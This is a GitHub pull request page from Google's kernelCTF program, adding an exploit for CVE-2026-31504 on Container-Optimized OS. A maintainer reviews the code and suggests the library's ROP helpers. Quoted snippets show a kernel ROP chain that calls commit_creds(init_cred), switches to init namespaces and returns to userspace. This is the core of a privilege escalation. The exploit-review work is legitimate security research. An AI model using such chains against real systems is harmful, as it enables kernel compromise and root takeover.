Skip to content

kernelCTF: add CVE-2026-31504_cos#409

Open
4ab48b3f1ded2472 wants to merge 1 commit into
google:masterfrom
4ab48b3f1ded2472:CVE-2026-31504_cos
Open

kernelCTF: add CVE-2026-31504_cos#409
4ab48b3f1ded2472 wants to merge 1 commit into
google:masterfrom
4ab48b3f1ded2472:CVE-2026-31504_cos

Conversation

@4ab48b3f1ded2472

Copy link
Copy Markdown
Contributor

No description provided.

@artmetla artmetla added recheck Triggers kernelCTF PR verification again and removed recheck Triggers kernelCTF PR verification again labels Jul 20, 2026
rop += 8;
*rop++ = kaddr(POP_RDI);
*rop++ = kaddr_offset(target.GetSymbolOffset("init_cred"));
*rop++ = kaddr_offset(target.GetSymbolOffset("commit_creds"));

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could you please elaborate why usage of rop.AddRopAction(RopActionId::COMMIT_INIT_TASK_CREDS); is not possible in this exploit?

*rop++ = kaddr(POP_RSI);
*rop++ = kaddr_offset(target.GetSymbolOffset("init_nsproxy"));

*rop++ = kaddr_offset(target.GetSymbolOffset("switch_task_namespaces"));

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could you elaborate why rop.AddRopAction(RopActionId::SWITCH_TASK_NAMESPACES, {1}); is not used here?

// Userspace RIP
*rop++ = (uint64_t) after_pwn;

*rop++ = kaddr(RETURN_VIA_SYSRET);

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would it be possible to rely on { RopActionId::RET2USR, "ret2usr" } here or utilise telefork?

@artmetla artmetla left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hey @4ab48b3f1ded2472. Could you please check my comments about ROP chain building and update it or explain why it's not possible? Cheers

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

recheck Triggers kernelCTF PR verification again

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants